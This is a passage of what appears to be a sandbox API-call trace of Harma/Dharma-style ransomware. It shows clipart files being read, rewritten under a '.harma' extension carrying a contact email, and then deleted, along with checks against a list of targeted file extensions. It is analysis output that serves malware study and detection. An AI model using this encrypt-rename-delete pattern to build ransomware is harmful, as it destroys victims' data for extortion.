Office\\CLIPART\\PUB60COR\\DD00405_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0150.074] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.074] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0150.074] GetLastError () returned 0x0 [0150.074] ReadFile (in: hFile=0x21c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x44b0, lpOverlapped=0x0) returned 1 [0150.087] WriteFile (in: hFile=0x2e8, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x44c0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x44c0, lpOverlapped=0x0) returned 1 [0150.088] ReadFile (in: hFile=0x21c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0150.088] WriteFile (in: hFile=0x2e8, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.088] SetEndOfFile (hFile=0x2e8) returned 1 [0150.088] CloseHandle (hObject=0x2e8) returned 1 [0150.088] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.088] SetEndOfFile (hFile=0x21c) returned 1 [0150.092] CloseHandle (hObject=0x21c) returned 1 [0150.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0150.291] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf")) returned 1 [0150.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0150.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0150.346] lstrlenW (lpString=".doc") returned 4 [0150.346] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.346] lstrlenW (lpString=".docx") returned 5 [0150.346] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.346] lstrlenW (lpString=".pdf") returned 4 [0150.347] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.347] lstrlenW (lpString=".xls") returned 4 [0150.347] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.347] lstrlenW (lpString=".xlsx") returned 5 [0150.347] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.350] lstrlenW (lpString=".ppt") returned 4 [0150.350] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0150.350] lstrlenW (lpString=".zip") returned 4 [0150.350] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.350] lstrlenW (lpString=".rar") returned 4 [0150.350] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.350] lstrlenW (lpString=".bz2") returned 4 [0150.350] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.350] lstrlenW (lpString=".7z") returned 3 [0150.350] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0150.350] lstrlenW (lpString=".dbf") returned 4 [0150.350] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0150.351] lstrlenW (lpString=".1cd") returned 4 [0150.351] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0150.351] lstrlenW (lpString=".jpg") returned 4 [0150.351] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0150.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0150.351] lstrlenW (lpString=".doc") returned 4 [0150.351] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.351] lstrlenW (lpString=".docx") returned 5 [0150.351] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.351] lstrlenW (lpString=".pdf") returned 4 [0150.351] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.351] lstrlenW (lpString=".xls") returned 4 [0150.351] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.351] lstrlenW (lpString=".xlsx") returned 5 [0150.351] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.351] lstrlenW (lpString=".ppt") returned 4 [0150.351] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0150.351] lstrlenW (lpString=".zip") returned 4 [0150.351] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.351] lstrlenW (lpString=".rar") returned 4 [0150.351] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.351] lstrlenW (lpString=".bz2") returned 4 [0150.351] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.351] lstrlenW (lpString=".7z") returned 3 [0150.351] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0150.351] lstrlenW (lpString=".dbf") returned 4 [0150.352] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0150.352] lstrlenW (lpString=".1cd") returned 4 [0150.352] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0150.352] lstrlenW (lpString=".jpg") returned 4 [0150.352] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.352] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0150.352] lstrlenW (lpString="DD00705_.WMF") returned 12 [0150.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0150.353] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=24588) returned 1 [0150.353] CloseHandle (hObject=0x344) returned 1 [0150.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf")) returned 0x20 [0150.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0150.353] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.353] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0150.354] GetLastError () returned 0x0 [0150.354] ReadFile (in: hFile=0x344, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x600c, lpOverlapped=0x0) returned 1 [0150.375] WriteFile (in: hFile=0x34c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x6010, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x6010, lpOverlapped=0x0) returned 1 [0150.376] ReadFile (in: hFile=0x344, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0150.376] WriteFile (in: hFile=0x34c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.376] SetEndOfFile (hFile=0x34c) returned 1 [0150.376] CloseHandle (hObject=0x34c) returned 1 [0150.376] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.376] SetEndOfFile (hFile=0x344) returned 1 [0150.379] CloseHandle (hObject=0x344) returned 1 [0150.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0150.379] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf")) returned 1 [0150.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0150.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0150.380] lstrlenW (lpString=".doc") returned 4 [0150.380] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.380] lstrlenW (lpString=".docx") returned 5 [0150.380] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.380] lstrlenW (lpString=".pdf") returned 4 [0150.381] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.381] lstrlenW (lpString=".xls") returned 4 [0150.381] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.381] lstrlenW (lpString=".xlsx") returned 5 [0150.381] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.381] lstrlenW (lpString=".ppt") returned 4 [0150.381] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0150.381] lstrlenW (lpString=".zip") returned 4 [0150.381] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.381] lstrlenW (lpString=".rar") returned 4 [0150.381] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.381] lstrlenW (lpString=".bz2") returned 4 [0150.381] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.381] lstrlenW (lpString=".7z") returned 3 [0150.381] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0150.381] lstrlenW (lpString=".dbf") returned 4 [0150.381] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0150.381] lstrlenW (lpString=".1cd") returned 4 [0150.381] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0150.381] lstrlenW (lpString=".jpg") returned 4 [0150.381] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0150.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0150.381] lstrlenW (lpString=".doc") returned 4 [0150.381] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.381] lstrlenW (lpString=".docx") returned 5 [0150.381] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.381] lstrlenW (lpString=".pdf") returned 4 [0150.382] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.382] lstrlenW (lpString=".xls") returned 4 [0150.382] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.382] lstrlenW (lpString=".xlsx") returned 5 [0150.382] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.382] lstrlenW (lpString=".ppt") returned 4 [0150.382] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0150.382] lstrlenW (lpString=".zip") returned 4 [0150.382] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.382] lstrlenW (lpString=".rar") returned 4 [0150.382] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.382] lstrlenW (lpString=".bz2") returned 4 [0150.382] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.382] lstrlenW (lpString=".7z") returned 3 [0150.382] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0150.382] lstrlenW (lpString=".dbf") returned 4 [0150.382] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0150.382] lstrlenW (lpString=".1cd") returned 4 [0150.382] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0150.382] lstrlenW (lpString=".jpg") returned 4 [0150.382] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.382] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0150.382] lstrlenW (lpString="DD01039_.WMF") returned 12 [0150.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0150.383] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=14820) returned 1 [0150.383] CloseHandle (hObject=0x344) returned 1 [0150.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf")) returned 0x20 [0150.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0150.384] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.384] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0150.384] GetLastError () returned 0x0 [0150.385] ReadFile (in: hFile=0x344, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x39e4, lpOverlapped=0x0) returned 1 [0150.462] WriteFile (in: hFile=0x34c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x39f0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x39f0, lpOverlapped=0x0) returned 1 [0150.464] ReadFile (in: hFile=0x344, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0150.464] WriteFile (in: hFile=0x34c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.464] SetEndOfFile (hFile=0x34c) returned 1 [0150.464] CloseHandle (hObject=0x34c) returned 1 [0150.464] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.464] SetEndOfFile (hFile=0x344) returned 1 [0150.467] CloseHandle (hObject=0x344) returned 1 [0150.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0150.476] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf")) returned 1 [0150.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0150.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0150.477] lstrlenW (lpString=".doc") returned 4 [0150.477] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.477] lstrlenW (lpString=".docx") returned 5 [0150.477] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.477] lstrlenW (lpString=".pdf") returned 4 [0150.477] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.477] lstrlenW (lpString=".xls") returned 4 [0150.477] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.477] lstrlenW (lpString=".xlsx") returned 5 [0150.477] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.477] lstrlenW (lpString=".ppt") returned 4 [0150.477] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0150.477] lstrlenW (lpString=".zip") returned 4 [0150.477] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.477] lstrlenW (lpString=".rar") returned 4 [0150.477] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.477] lstrlenW (lpString=".bz2") returned 4 [0150.477] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.477] lstrlenW (lpString=".7z") returned 3 [0150.477] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0150.477] lstrlenW (lpString=".dbf") returned 4 [0150.477] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0150.477] lstrlenW (lpString=".1cd") returned 4 [0150.477] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0150.478] lstrlenW (lpString=".jpg") returned 4 [0150.478] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0150.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0150.478] lstrlenW (lpString=".doc") returned 4 [0150.478] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.478] lstrlenW (lpString=".docx") returned 5 [0150.478] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.478] lstrlenW (lpString=".pdf") returned 4 [0150.478] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.478] lstrlenW (lpString=".xls") returned 4 [0150.478] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.478] lstrlenW (lpString=".xlsx") returned 5 [0150.478] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.478] lstrlenW (lpString=".ppt") returned 4 [0150.478] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0150.478] lstrlenW (lpString=".zip") returned 4 [0150.478] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.478] lstrlenW (lpString=".rar") returned 4 [0150.478] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.478] lstrlenW (lpString=".bz2") returned 4 [0150.478] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.478] lstrlenW (lpString=".7z") returned 3 [0150.478] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0150.478] lstrlenW (lpString=".dbf") returned 4 [0150.478] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0150.478] lstrlenW (lpString=".1cd") returned 4 [0150.478] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0150.479] lstrlenW (lpString=".jpg") returned 4 [0150.479] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.479] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0150.479] lstrlenW (lpString="DD01140_.WMF") returned 12 [0150.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0150.482] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=3616) returned 1 [0150.483] CloseHandle (hObject=0x360) returned 1 [0150.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf")) returned 0x20 [0150.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0150.484] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 